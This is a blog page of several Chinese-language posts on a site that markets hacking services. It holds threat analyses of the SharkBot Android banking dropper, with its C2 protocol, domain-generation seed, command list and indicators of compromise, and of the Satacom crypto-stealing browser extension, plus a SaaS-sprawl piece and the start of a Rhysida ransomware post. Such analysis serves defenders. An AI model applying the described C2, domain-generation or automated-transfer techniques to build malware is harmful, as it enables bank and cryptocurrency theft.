Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863106833

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

近年來Android 惡意軟件的數量有所增加，尤其是Android 銀行惡意軟件。其中一個系列是一款名為SharkBot 的Android 銀行惡意軟件。在我們的研究中，我們注意到該惡意軟件是通過Google Play 官方商店分發的。

我們在Google Play 商店中發現了很多的SharkBot droppers，C2 服務器也用於所有其他的dropper。發現後，我們立即向Google 報告了這一情況。有關新發現的SharkBot dropper 應用程序的Google Play 商店URL，請參閱下面的IoC 部分。

0x01 總體概括SharkBot 是Cleafy 團隊於2021 年10 月末發現的一種Android 銀行惡意軟件。在撰寫本文時，SharkBot 惡意軟件與Flubot、Cerberus/Alien、Anatsa/Teabot、Oscorp 等其他Android 銀行惡意軟件沒有任何關係。

https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europeCleafy 文章指出，SharkBot 的主要目標是通過自動轉賬系統(ATS) 從從受感染的設備發起資金轉賬。據我們觀察，這種技術是一種高級攻擊技術，在Android 惡意軟件中並不經常使用。它使攻擊者能夠在合法的移動銀行應用程序中自動填寫字段並啟動匯款，而其他Android 銀行惡意軟件（如Anatsa/Teabot 或Oscorp）需要現場操作員授權匯款。這種技術還允許攻擊者以最小的努力擴大他們的成果。

ATS 功能允許惡意軟件接收要模擬的事件列表，並將模擬它們以進行匯款。由於此功能可用於模擬觸摸、點擊和按鈕按下，因此它不僅可用於自動轉賬，還可用於安裝其他惡意應用程序或組件。這就是我們在Google Play 商店中找到的SharkBot 版本的情況，它似乎是SharkBot 的簡化版本，具有最低要求的功能，例如ATS，可以在初始安裝後的某個時間安裝惡意軟件的完整版本。

由於是通過Google Play 商店規避防病毒軟件進行分發的，受感染設備必須下載安裝才能傳播惡意應用程序。 SharkBot 通過利用“Direct Reply”的Android 功能來實現這一點。此功能用於自動發送回复通知以及下載虛假防病毒應用程序的消息。這種利用直接回复功能的傳播策略最近出現在另一個名為Flubot的銀行惡意軟件中，該惡意軟件由ThreatFabric 發現。

與其他家族不同的是，SharkBot 很可能使用ATS 還繞過多因素身份驗證機制，包括生物特徵等行為檢測，同時它還包括更多經典功能來竊取用戶的憑據。

1.憑證竊取功能SharkBot 實施了四種主要策略來竊取Android 系統中的銀行憑證：

注入（覆蓋攻擊）：一旦檢測到官方銀行應用程序已打開，SharkBot 就可以通過顯示帶有虛假登錄網站（網絡釣魚）的WebView 來竊取憑據。

鍵盤記錄： Sharkbot可以通過記錄可訪問性事件（與文本字段更改和單擊按鈕相關）並將這些日誌發送到命令和控制服務器（C2）來竊取憑據。

短信攔截： Sharkbot 具有攔截/隱藏短信的能力。

遠程控制/ATS：Sharkbot 能夠獲得對Android 設備的完全遠程控制（通過輔助功能服務）。

對於大多數這些功能，SharkBot 需要受害者啟用Accessibility Permissions Services。這些權限允許Android 銀行惡意軟件攔截用戶與用戶界面交互產生的所有可訪問性事件，包括按鈕按下、觸摸、TextField 更改（對鍵盤記錄功能有用）等。攔截的可訪問性事件還允許檢測前台應用程序，因此銀行惡意軟件也使用這些權限來檢測目標應用程序何時打開，以進行網絡注入以竊取用戶的憑據。

2.軟件分發Sharkbot 通過Google Play 商店進行分發，但也使用了Android 惡意軟件中的新技術：“Direct reply”通知功能。借助此功能，C2 可以向惡意軟件發送命令消息，該命令消息將用於Direct reply受感染設備消息。 Flubot最近引入了此功能，以使用受感染的設備分發惡意軟件，但似乎SharkBot攻擊者在最近的版本中也加入了此功能。

在下圖中，我們可以看到SharkBot 用於攔截新通知的代碼，並自動將收到的來自C2 的消息進行回复。

img

在下圖中，我們可以看到受感染的測試設備收到的“autoReply”命令，其中包含一個Bit.ly 短鏈接，該鏈接會重定向到Google Play 商店。

img

我們檢測到SharkBot於去年2 月28 日在Google Play 上發布，最後一次更新是在今年2 月10 日，該應用程序已經發布了一段時間。這個簡化版本使用相似協議與C2 通信，RC4 加密Payload和公共RSA 密鑰用於加密RC4 密鑰，因此C2 服務器可以使用相同的密鑰解密請求並加密響應。這個SharkBot 版本，我們可以稱之為SharkBotDropper，主要用於從C2 服務器下載一個全功能的SharkBot，它將使用自動傳輸系統(ATS) 安裝（模擬點擊和触摸，具有Accessibility 權限）。

這個惡意dropper 在Google Play 商店中作為假的防病毒軟件發布，它實際上有兩個主要功能和從C2 接收命令：

使用“Direct reply”功能傳播惡意軟件：它可以接收帶有消息的“Direct reply”命令，該消息應用於Direct reply受感染設備中收到的任何通知。我們研究發現，它一直在通過Bit.ly URL 短鏈接傳播相同的Google Play dropper。

img

Dropper+ATS：ATS 功能用於安裝從C2 獲取的下載的SharkBot 示例。在下圖中，我們可以看到從C2 接收到的解密響應請求，其中dropper 接收命令“ b ”以從提供的URL 下載完整的SharkBot 樣本，並模擬ATS 事件以安裝惡意軟件。

img

使用此命令，從Google Play 商店安裝的應用程序能夠為其下載的全功能SharkBot樣本安裝和啟用輔助功能權限。它將用於最終執行ATS 欺騙，以從受害者那裡竊取金錢和憑證。

在Google Play 商店中發布的假殺毒應用SharkBotDropper 的下載量已超過1,000 次，還有一些假評論，如“效果很好”，還有一些受害者的評論，他們意識到這個應用做了一些奇怪的事情。

img

0x02 技術分析1.C2協議用於與C2 服務器通信的協議是基於HTTP 的協議。 HTTP 請求是明文發出的，因為沒有使用HTTPs。即便如此，包含發送和接收信息的實際Payload是使用RC4 加密的。用於加密信息的RC4 密鑰是為每個請求隨機生成的，並使用每個樣本中硬編碼的RSA 公鑰進行加密。這樣，C2 可以解密加密的密鑰（ HTTP POST 請求中的rkey字段）並最終解密發送的Payload（ HTTP POST 請求中的rdata字段）。

img

如果看一下解密後的Payload，可以看到SharkBot 是如何簡單地使用JSON 發送有關受感染設備的不同信息並從C2 接收要執行的命令。在下圖中，我們可以看到從受感染設備發送的解密後的RC4 Payload。

img

請求中發送的兩個重要字段是：

ownerID

botnetID

這些參數是硬編碼的，並且在分析的樣本中具有相同的值。我們猜測這些值將來可用於識別此惡意軟件的不同買家，根據我們的調查，該惡意軟件尚未在地下論壇上出售。

2.域生成算法SharkBot 包括一個或兩個註冊的Domain/URL，但如果硬編碼的C2 服務器被關閉，它還包括一個域生成算法(DGA)，以便將來能夠與新的C2 服務器通信。

img

DGA 使用當前日期和特定的後綴字符串('pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf') 最終將其編碼為base64 並獲取前19 個字符。然後，它附加不同的TLD 以生成最終的候選域。

img

使用的日期元素是：

一年中的一周（代碼中的v1.get(3)）

年份（代碼中的v1.get(1)）

它使用'+'運算符，但由於年份的星期和年份是整數，因此它們是相加的，因此例如：對於2022年的第二週，生成的要進行base64編碼的字符串為：2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=“2024pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”。

在以前版本的SharkBot（從2021 年11 月至12 月）中，它僅使用一年中的當前一周來生成域。將年份加入到生成算法中似乎是為了更好地支持2022 年的更新。

3.木馬命令SharkBot 可以從C2 服務器接收不同的命令，以便在受感染的設備中執行不同的操作，例如發送短信、下載文件、注入等。它可以接收和執行的命令列表如下：

smsSend : 用於由TA 向指定的電話號碼發送短信

updateLib：用於請求惡意軟件從指定的URL 下載新的JAR 文件，其中應包含惡意軟件的更新版本

updateSQL：用於發送要在SQLite 數據庫中執行的SQL 查詢，Sharkbot 使用它來保存惡意軟件的注入等配置

stopAll：用於重置/停止ATS 功能，停止正在進行的自動化功能。

updateConfig：用於向惡意軟件發送更新的配置。

uninstallApp：用於從受感染設備上卸載指定的應用程序

changeSmsAdmin：用於更改短信管理器應用

getDoze : 用於檢查是否啟用忽略電池優化的權限，如果未啟用，則顯示Android 設置以禁用它們

sendInject：用於顯示覆蓋以竊取用戶的憑據

getNotify：如果沒有為惡意軟件啟用通知監聽器設置，則進行顯示。啟用此權限後，Sharkbot 將能夠攔截通知並將其發送到C2

APP_STOP_VIEW：用於關閉指定的應用程序，因此每次用戶嘗試打開該應用程序時，Accessibility Service 都會關閉它

downloadFile : 用於從指定的URL 下載一個文件

updateTimeKnock：用於更新Robot的最後一次請求時間戳

localATS：用於啟用ATS 攻擊。它包括一個JSON 數組，其中包含它應該模擬以執行ATS（按鈕單擊等）的不同事件/動作

img

4.ATS技術SharkBot 的一個獨特之處在於它使用了一種稱為自動傳輸系統(ATS) 的技術。 ATS 是針對Android 的銀行惡意軟件使用的一種相對較新的技術。

總而言之，ATS 與webinject 類似，只是用於不同的目的。它使用憑證在端點上自動啟動電子傳輸，這樣就不需要登錄和繞過2fa 或其他反欺詐措施，並不會收集憑證用於使擴展成果。然而，它是非常個性化的，需要對每個銀行、金額、貨幣等進行相當多的維護。這可能是ATS 在(Android)銀行惡意軟件中並不流行的原因之一。

一旦登錄到他們的銀行應用程序，惡意軟件就會收到一系列事件（點擊/觸摸、按鈕按下等）以特定順序進行模擬。這些事件用於模擬受害者與銀行應用程序的交互以進行匯款，就好像用戶自己進行匯款一樣。

這樣，通過模擬不同的事件從受害者的設備進行匯款，這使得欺詐檢測系統更難以檢測欺詐行為。

5.IOC樣本哈希：

a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper)

9701bef2231ecd20d52f8fd2defa4374bffc35a721e4be4519bda8f5f353e27a (Dropped SharkBot v1.64.1)

20e8688726e843e9119b33be88ef642cb646f1163dce4109b8b8a2c792b5f9fc (Google play SharkBot dropper)

187b9f5de09d82d2afbad9e139600617685095c26c4304aaf67a440338e0a9b6 (Google play SharkBot dropper)

e5b96e80935ca83bbe895f6239eabca1337dc575a066bb6ae2b56faacd29dd (Google play SharkBot dropper)

SharkBotDropper C2：

hxxp://statscodicefiscale[.]xyz/stats/

用於分發惡意軟件的URL：

hxxps://bit[.]ly/34ArUxI

Google Play 商店網址：

https://play.google.com/store/apps/details?id=com.abbondioendrizzi.antivirus.supercleaner

https://play.google.com/store/apps/details?id=com.abbondioendrizzi.tools.supercleaner

https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.alpha

https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.supercleaner

SharkBot 的C2 服務器/域名：

n3bvakjjouxir0zkzmd[.]xyz (185.219.221.99)

mjayoxbvakjjouxir0z[.]xyz (185.219.221.99)

SharkBot 中用於加密rc4密鑰的RSA 公鑰：

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2R7nRj0JMouviqMisFYt0F2QnScoofoR7svCcjrQcTUe7tKKweDnSetdz1A+PLNtk7wKJk+SE3tcVB7KQS/WrdsEaE9CBVJ5YmDpqGaLK9qZhAprWuKdnFU8jZ8KjNh8fXyt8UlcO9ABgiGbuyuzXgyQ VbzFfOfEqccSNlIBY3s+LtKkwb2k5GI938X/4SCX3v0r2CKlVU5ZLYYuOUzDLNl6KSToZIx5VSAB3VYp1xYurRLRPb2ncwmunb9sJUTnlwypmBCKcwTxhsFVAEvpz75opuMgv8ba9Hs0Q21PChxu98jNPsgIwUn3xmsMUl0rNgBC3MaPs8nSgcT4oUXaVwIDAQAB在Google Play SharkBotDropper 中用於加密rc4密鑰的RSA 公鑰：

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu9qo1QgM8FH7oAkCLkNO5XfQBUdl+pI4u2tvyFiZZ6hMZ07QnlYazgRmWcC5j5H2iV+74gQ9+1cgjnVSszGbIwVJOQAEZGRpSFT7BhAhA4+PTjH6CCkiyZTk7zURvgBCrXz6+B1XH0OcD4YUYs4OGj8P d2KY6zVocmvcczkwiU1LEDXo3PxPbwOTpgJL+ySWUgnKcZIBffTiKZkry0xR8vD/d7dVHmZnhJS56UNefegm4aokHPmvzD9p9n3ez1ydzfLJARb5vg0gHcFZMjf6MhuAeihFMUfLLtddgo00Zs4wFay2mPYrpn2x2pYineZEzSvLXbnxuUnkFqNmMV4UJwIDAQAB

HireHackking

abstract_binary_connection-1200x600.jpgSatacom下載程序，也稱為LegionLoader，是2019年出現的一個著名的惡意軟件家族。該惡意軟件利用查詢DNS服務器的技術獲取base64編碼的URL，以便接收當前由Satacom傳播的另一惡意軟件家族的下一階段。 Satacom惡意軟件通過第三方網站傳播，其中一些網站本身不提供Satacom，而是使用合法的廣告插件，攻擊者濫用這些插件將惡意廣告注入網頁。網站上的惡意鏈接或廣告將用戶重定向到惡意網站，如虛假的文件共享服務。

我們將在本文介紹最近與Satacom下載程序相關的惡意軟件傳播活動。 Satacom下載程序釋放的惡意軟件的主要目的是通過對目標加密貨幣網站進行web注入，從受害者的賬戶中竊取比特幣。該惡意軟件試圖通過為基於Chromium的網絡瀏覽器安裝擴展來實現這一點，該瀏覽器隨後與C2服務器通信，其地址存儲在比特幣交易數據中。

該惡意擴展具有各種JS腳本，用於在用戶瀏覽目標網站時執行瀏覽器操作，包括枚舉和對加密貨幣網站的操作。它還能夠操作一些電子郵件服務的外觀，如Gmail、Hotmail和雅虎，以隱藏其與電子郵件中顯示的受害者加密貨幣的活動。

Satacom技術分析最初的攻擊始於ZIP壓縮文件。它是從一個似乎模仿軟件門戶的網站下載的，該網站允許用戶免費下載他們想要的（通常是破解的）軟件。該壓縮包包含幾個合法DLL和一個惡意Setup.exe文件，用戶需要手動執行這些文件才能啟動攻擊鏈。

各種類型的網站被用來傳播惡意軟件。其中一些是帶有硬編碼下載鏈接的惡意網站，而另一些則通過合法的廣告插件注入了“下載”按鈕。在這種情況下，即使是合法的網站也可能在網頁上顯示惡意的“下載”鏈接。在撰寫本文時，我們看到QUADS插件被濫用來傳播Satacom。

1.png

帶有嵌入式QUADS廣告插件的網站

該插件被濫用的方式與其他廣告網絡被濫用惡意廣告的方式相同：攻擊者推廣看起來像“下載”按鈕的廣告，並將用戶重定向到攻擊者的網站。

2.png

WP QUADS廣告插件內的網站的內容

用戶點擊下載按鈕或鏈接後，會有一系列重定向，自動引導他們通過各種服務器到達偽裝成文件共享服務的網站，以傳播惡意軟件。在下面的截屏中，我們可以看到作為重定向鏈最終目的地的網站示例。

3.png

虛假“文件共享”服務

用戶下載並提取大約7MB大小的ZIP文件後，會顯示一些二進製文件、EXE和DLL文件。 DLL是合法的庫，但“Setup.exe”文件是惡意二進製文件。它大約是450MB，但是填充了大量空字節，使其更難以分析。未添加空字節的文件的原始大小約為5MB，它是一個Inno-Setup類型的文件。

4.png

添加到PE文件的空字節

Inno-Setup安裝程序通常是這樣的：在運行時，二進製文件將子安裝程序提取到一個名為“Setup.tmp”的臨時文件夾中。然後，它運行子安裝程序“Setup.tmp”文件，該文件需要與主安裝程序通信，參數指向原始“Setup.exe”及其包的位置，以便檢索用於下一步安裝的“Setup.exe”文件。

對於Satacom安裝程序來說，Setup.tmp文件一旦運行，就會在Temp目錄中創建一個新的PE DLL文件。創建DLL後，子安裝程序將其進行自我加載，並從DLL運行一個函數。

然後，它解密Satacom的有效負載，並創建一個新的“explorer.exe”子進程，以便將惡意軟件注入“explorer.exe”進程。

由此，研究人員可以得出結論，惡意軟件在遠程“explorer.exe”進程上執行一種常見的進程注入技術，稱為進程空心化（process hollowing）。這是一種用於逃避檢測的技術。

注入“explorer.exe”進程的惡意負載使用RC4加密實現來解密其配置數據，通信字符串以及受害者設備上其他釋放的二進製文件的數據，加密的數據存儲在惡意負載中。

惡意軟件在每一步都使用不同的硬編碼密鑰來解密數據。惡意軟件使用四個不同的RC4密鑰來執行其操作，首先解密HEX字符串數據，將其用於其初始通信目的。

5.png

RC4密鑰（左圖）和加密的HEX字符串（右圖）

在上面的截屏中，左側窗格將四個RC4硬編碼密鑰顯示為HEX字符串，在右側窗格中，我們可以看到使用RC4“config_strings”密鑰解密的HEX字符串以獲得用於與C2通信的第一次初始化的字符串。如果我們自己使用密鑰解密字符串，我們會得到截屏中顯示的結果。

一旦HEX字符串被解密，“explorer.exe”將啟動其第一次通信。為此，它通過Google DNS（8.8.8.8，另一個解密的字符串）執行對don-DNS[.]com（解密的HEX字符串）的DNS請求，並查詢TXT記錄。

6.png

通過谷歌在don-dns[.]com上查詢TXT記錄

一旦請求完成，DNS TXT記錄將作為另一個base64編碼的RC4加密字符串“ft/gGGt4vm96E/jp”接收。由於我們擁有所有的RC4密鑰，我們可以嘗試使用“dns_RC4_key”解密字符串，並獲得另一個URL。這個URL是有效負載的實際下載位置。

7.png

TXT記錄的解密字符串

有效負載：惡意瀏覽器擴展Satacom下載程序將各種二進製文件下載到受害者的設備上。在本次活動中，研究人員觀察到一個PowerShell腳本正在下載，該腳本安裝了一個惡意的基於Chromium的瀏覽器擴展，該擴展針對Google Chrome、Brave和Opera。

擴展安裝腳本負責從第三方網站服務器下載ZIP壓縮文件中的擴展。 PowerShell腳本將壓縮文件下載到計算機的Temp目錄，然後將其提取到Temp目錄中的文件夾中。

之後，腳本將在“桌面”、“快速啟動”和“開始菜單”等位置搜索每個目標瀏覽器的快捷方式的可能位置。它還配置瀏覽器安裝文件的位置和擴展插件在計算機上的位置。

最後，PS腳本將依次搜索上述位置的任何鏈接（.LNK）文件，並修改所有現有瀏覽器快捷方式的“Target”參數，標記為“-load extension=[pathOfExtension]”，以便快捷方式加載安裝了惡意擴展的瀏覽器。

8.png

帶有擴展參數的Chrome快捷方式

執行此操作後，腳本將關閉設備上可能運行的任何瀏覽器進程，以便受害者下次打開瀏覽器時，擴展程序將加載到瀏覽器中，並在用戶瀏覽互聯網時運行。

這種擴展安裝技術允許攻擊者在不知情的情況下將插件添加到受害者的瀏覽器中，而無需將其上傳到官方擴展商店，如Chrome商店，該商店要求插件滿足商店的要求。

9.png

擴展安裝PowerShell腳本

惡意擴展分析安裝擴展後，我們可以通過檢查存儲在擴展目錄中的特定文件來分析其功能和特性。如果我們看一下'manifest.json'文件的第一行，我們會發現擴展插件通過將插件命名為“Google Drive”來偽裝自己，所以即使用戶訪問瀏覽器插件，他們也只能看到一個名為“Google Drive”的插件，它看起來就像是安裝在瀏覽器中的另一個標準Google擴展插件。

10.png

manifest.json文件設置

當用戶瀏覽時，另一個總是在後台運行的惡意擴展文件是“background.js”，它負責初始化與C2的通信。如果我們仔細查看JavaScript代碼，我們會在腳本底部發現一個有趣的函數調用，其中包含一個字符串變量，該變量是比特幣錢包的地址。

11.png

Background.js腳本片段

查看腳本的代碼，我們可以得出結論，擴展將從硬編碼的URL中獲取另一個字符串，腳本將比特幣地址插入其中。 JavaScript接收JSON格式的數據，顯示錢包的交易活動，然後在最新的交易詳細信息中查找特定的字符串。

12.png

詳細JSON

頁面上有兩個字符串，其中包含C2地址。 “script”字符串是包含惡意軟件C2主機的HEX字符串，“addr”字符串是Base58編碼的C2地址。使用特定錢包的最後一筆加密貨幣交易來檢索C2地址的原因是，攻擊者可以隨時更改服務器地址。此外，這種技巧使禁用惡意軟件與其C2服務器的通信變得更加困難，因為禁用錢包比阻止或禁止IP或域要困難得多。如果C2服務器被阻止或關閉，攻擊者可以通過執行新事務將“script”或“addr”字符串更改為不同的C2服務器。由於擴展總是檢查這些字符串來檢索C2，因此如果它發生了更改，它總是會請求新的字符串。

13.png

從交易明細中解碼C2地址

該擴展有幾個其他腳本，它們負責初始化接收到的命令，並在檢索到C2地址後發揮作用，因為這些腳本需要從C2獲得一些重要信息。例如，C2保存比特幣地址，當比特幣從受害者的錢包轉移到攻擊者的錢包時將使用該地址。

14.png

攻擊者的比特幣錢包地址

為了獲得受害者的加密貨幣，攻擊者在目標網站上使用web注入。 web注入腳本也是C2在擴展與之聯繫後提供的。在下面的截屏中，我們可以看到來自擴展的“injections.js”腳本，它從C2服務器獲取web注入腳本。

15.png

injections.js腳本

在插件與C2服務器聯繫後，服務器會使用將在目標網站上使用的web注入腳本進行響應。

16.png

C2服務器的Webinject腳本

如果我們仔細看一下腳本，就可以看到攻擊者針對的是各種網站。在上面顯示的腳本版本中，我們可以看到它針對的是Coinbase, Bybit, KuCoin, Huobi和Binance用戶。

由於C2中的腳本可以隨時更改，攻擊者可以添加或刪除其他web注入目標，也可以開始以比特幣以外的加密貨幣為目標，這使得該擴展非常動態，並允許攻擊者通過更改腳本來控制惡意擴展。

查看腳本，我們可以看到擴展在目標網站上執行各種操作。例如，它能夠檢索受害者的地址、獲取賬戶信息、繞過2FA等等。此外，它能夠將比特幣從受害者的錢包轉移到攻擊者的錢包。

17.png

web注入腳本中的函數

查看完整的web注入腳本，我們可以得出結論，其思路是從安裝了惡意擴展的受害者那裡竊取比特幣。該擴展程序對賬戶執行各種操作，以便使用web注入腳本遠程控制賬戶，最終該擴展程序試圖將比特幣提取到攻擊者的錢包中。為了規避交易的雙因素身份驗證設置，web注入腳本使用了針對此保護技術的繞過技術。

18.png

從web注入腳本中提取比特幣函數的代碼段

在竊取加密貨幣之前，擴展程序與C2服務器進行通信，以獲得最小比特幣值。然後，它將這個值與目標錢包中的實際金額進行比較。如果錢包中包含的加密貨幣少於C2收到的最低金額，則不會從中提取任何加密貨幣。

19.png

C2的最小金額

在竊取比特幣之前，該腳本還執行其他幾項檢查。例如，它還檢查比特幣與美元的匯率。當目標錢包中的比特幣金額符合C2檢查時，腳本執行取款功能，從受害者那裡竊取比特幣。

20.png

執行餘額檢查

除了竊取比特幣之外，惡意擴展還會執行其他操作來隱藏其活動。

例如，惡意擴展包含針對三種不同電子郵件服務的腳本：Gmail、Hotmail和Yahoo，其思路是隱藏惡意擴展執行的交易的電子郵件確認。

一旦受害者到達電子郵件服務的頁面，每個腳本都會對電子郵件進行可視化更改。它搜索預定義的電子郵件標題和內容，當找到它們時，它只需通過將HTML代碼注入郵件正文來向受害者隱藏它們。因此，受害者不知道進行了將加密貨幣轉移到攻擊者錢包的特定交易。

21.png

針對Gmail的擴展JS

此外，該擴展程序可以操作目標網站的電子郵件線程。因此，如果受害者從Binance等網站打開一個線程，它可以更改電子郵件的內容，並顯示一個看起來與真實電子郵件線程完全相似的虛假電子郵件線程。它還包含所需字符串的佔位符，擴展插件可以將這些字符串注入到消息頁面的內容中。

22.png

偽造電子郵件線程模板

惡意擴展有許多其他JavaScript，它能夠執行其他操作。例如，它可以通過瀏覽器提取信息，如係統信息、cookie、瀏覽器歷史記錄、打開的選項卡的截屏，甚至可以接收來自C2服務器的命令。

23.png

JavaScript：從C2（左圖）請求命令並進行截屏（右圖）

擴展的目的是竊取比特幣並操作目標加密貨幣網站和電子郵件服務，使惡意軟件盡可能隱秘進行，這樣受害者就不會注意到任何有關欺詐交易的信息。由於用於通過特定比特幣錢包的最後一筆交易檢索C2服務器的技術，該擴展可以更新其功能，該技術可以隨時通過對該錢包進行另一筆交易來修改。這允許攻擊者將域URL更改為其他URL，以防被殺毒軟件禁止或阻止。

受害者分析此活動針對世界各地的個人用戶，根據觀察，2023年第一季度，以下國家的用戶最常被攻擊：巴西、阿爾及利亞、土耳其、越南、印度尼西亞、印度、埃及和墨西哥。

總結Satacom是一個下載程序，它仍在運行活動，並由背後的攻擊者開發。這個攻擊者繼續使用各種技術傳播惡意軟件家族，例如通過WordPress網站的廣告插件進行廣告注入。

最近傳播的惡意軟件是基於Chromium的瀏覽器的側載擴展，它在瀏覽器中執行操作，以操作目標加密貨幣網站的內容。這種惡意擴展的主要目的是從受害者那裡竊取加密貨幣，並將其轉移到攻擊者的錢包中。

此外，由於它是一個瀏覽器擴展，因此可以安裝在各種平台上基於Chromium的瀏覽器中。儘管本文中描述的惡意擴展的安裝和攻擊鍊是特定於Windows的，但如果攻擊者想要針對Linux和macOS用戶，只要受害者使用基於Chromium的瀏覽器，他們就可以很容易發起攻擊。

HireHackking

微信截图_20221117135528.png

由於全球大流行帶來的諸多限制，全球企業迅速爭相採用遠程工作解決方案。這種突然的變化不僅改變了企業的日常運營方式，也改變了它們使用工具的方式。該解決方案的一部分包括轉向軟件即服務（Software as a Service，SaaS），以獲得針對不同業務需求的更靈活的選項。

如今，SaaS已經成為應用程序交付方面的標準，因為它可以提供多種好處，包括減少廠商鎖定，更快的價值實現時間，增強的可訪問性、生產力和可擴展性等。

然而，隨著越來越多的公司爭先恐後地採用這種解決方案，管理它的挑戰也在不斷加劇。這就是所謂的SaaS蔓延（SaaS sprawl）。

何為SaaS蔓延（SaaS sprawl）？當網絡上使用的許多第三方雲應用程序無法再由其管理人員有效管理時，就會出現SaaS蔓延。當多個團隊和個人用戶下載應用程序以滿足即時需求時，通常會出現這種現象。這種做法沒有得到公司IT部門的事先批准，可能會導致安全風險。不受監控地使用雲應用程序有可能破壞組織的業務工作流效率。

SaaS蔓延對企業的影響安全與威脅根據最近的一項調查結果顯示，高達75%的IT領導者表示，SaaS蔓延的最大擔憂是安全方面。眾所周知，SaaS應用程序傾向於存儲大量機密數據、客戶財務信息、記錄等。保護這些文件不被損壞或從其他隱藏來源被竊取是非常必要的。因此，請確保您採取了所有的預防措施來保護您的數據，以免為時過晚。

成本與財務負擔有時，員工甚至會在沒有預先檢查公司現有SaaS堆棧的情況下購買SaaS應用程序，這導致了兩個主要問題：一是給定公司中SaaS應用程序數量的增加，二是該公司SaaS的總體支出增加。這給財務部門的預算預測和成本估算帶來了困難。因此，有時很難管理SaaS支出，而且公司經常直到有人發現了這種過度支出的趨勢，才意識到他們在SaaS應用程序上花費了太多資金。

合規危機對於一家公司來說，遵守管理法規以避免任何法律麻煩是非常必要的，這可能包括GDPR、SOC 2或FISMA等，這些法規都要求組織根據其提供的服務類型來保護客戶的敏感和私人信息。而當一家公司無法滿足任何這些要求時，它就會面臨嚴重的商業聲譽受損、訴訟以及其他更多無法挽回的後果。當公司失去對其SaaS堆棧的控制時，如果監控不當，可能會導致數據暴露和各種其他問題。因此，要小心保護您的客戶與您共享的信息。

數據分發與管理困難由於信息在不同應用程序中的分散分佈，SaaS蔓延誘發了數據蔓延的問題。當這種情況發生時，查找所有數據駐留的位置、誰可以訪問數據以及數據的暴露程度就變得非常麻煩。假設你是一名消費者，你發現Dropbox可以更方便地共享和存儲文件，即使你的公司使用的是谷歌Drive。現在，即使你擁有谷歌Drive的全部訪問權限，你也會使用Dropbox存儲和共享數據，而Dropbox很明顯已經超出了IT部門的權限。因此，即使您後來離開公司，數據也可能永遠留在Dropbox中，沒有恢復的機會。即使這看起來是一個微不足道的小問題，但如果沒有及時衡量和糾正，它確實會產生重大影響。

操作錯誤越來越多的應用程序的出現和使用無疑會在員工和IT部門之間造成混亂，此外，它還會導致延遲、效率低下，並以負面的方式影響員工的整體體驗。而當員工受到影響時，他們的生產力以及與不同部門之間的協作也會由此受到影響。因此，建議定期盤點您的組織中跨不同部門使用的所有SaaS應用程序。注意哪些員工在使用這些工具，他們在這些工具上花費了多少時間，以及所有這些必要的細節。

克服和防止SaaS蔓延的方法隨著SaaS解決方案在許多不同行業中變得越來越普遍，了解如何維護其管理至關重要。以下是克服和防止SaaS蔓延的幾種方法。

1.發現所有正在使用的SaaS應用程序創建一個不同項目團隊和跨部門的個人用戶當前正在使用的所有應用程序的清單。這樣做可以清楚地了解您的目錄規模，以及哪些應用程序得到了IT部門的批准。使用軟件資產管理工具也可以幫助您創建全面的審計。

2.跟踪和評估應用的成本和使用情況確定每個應用在整個網絡中的使用成本。通過這一點，您可以確定哪些應用能很好地利用預算，哪些沒有。一些企業可能會發現，在應用程序很少使用的地方，他們需要支付額外的許可。相反的情況也可能發生。

3.使用軟件許可管理（SLM）當同時使用多個第三方雲應用程序時，手動管理所有相關數據和安全檢查可能會非常繁瑣和繁重。但是，通過使用軟件許可證管理工具，您可以有效地、更好地控制您的網絡。

4.使您的IT團隊易於訪問並具有協作性組織的不同部門都有自己運行公司工作流的方式。為了有效地管理所有SaaS應用程序，所有團隊都應該更加協作，並努力了解彼此的需求。這包括創造一個更友好的環境，鼓勵員工在需要的時候與他們的IT部門聯繫。

5. 自動化所有更新和工作流程當使用多個SaaS應用程序時，跟踪各種許可證的每個更新周期可能是一項艱鉅的任務。然而，使用軟件管理工具可以在需要時通過自動化流程來簡化此任務。

6. 標準化所有正在使用的應用程序確定每個部門的不同需求，並創建一個最能滿足這些需求的SaaS應用程序列表。一旦建立，設置一個強制性的規則，這些應用程序只能用於特定的任務，而不能用於其他任何事情。這將有助於避免可能導致安全風險的重複應用程序問題。

7. 規劃SaaS採購流程規劃一個SaaS採購過程，其中只有授權的部門或人員可以授予使用應用程序的訪問權。這將使您更好地了解您的SaaS足跡如何移動，從而更容易跟踪和管理。

8. 利用員工培訓培訓員工如何正確使用每個SaaS應用程序以及它們的局限性。這將使他們更好地了解每個工具和使用未經授權的應用程序的風險。

HireHackking

微信截图_20230810151646.png

Rhysida勒索軟件組織於今年5月首次被披露，自那時起，它就與幾起影響巨大的攻擊事件有關，其中包括對智利軍隊的攻擊。最近，該組織還與針對Prospect Medical Holdings的攻擊有關，影響了美國的17家醫院和166家診所。在這次攻擊之後，美國衛生與公眾服務部將Rhysida定義為對醫療保健行業的重大威脅。

在分析最近一起針對教育機構的Rhysida勒索軟件事件時，Check Point事件響應小組（CPRT）與Check Point Research（CPR）合作，觀察到了一套獨特的技術、戰術和工具（TTP）。在分析中，研究人員發現了它與另一個勒索軟件組織Vice Society的TTP有顯著相似之處。 Vice Society是自2021年以來最活躍、最具攻擊性的勒索軟件組織之一，主要針對教育和醫療保健行業。

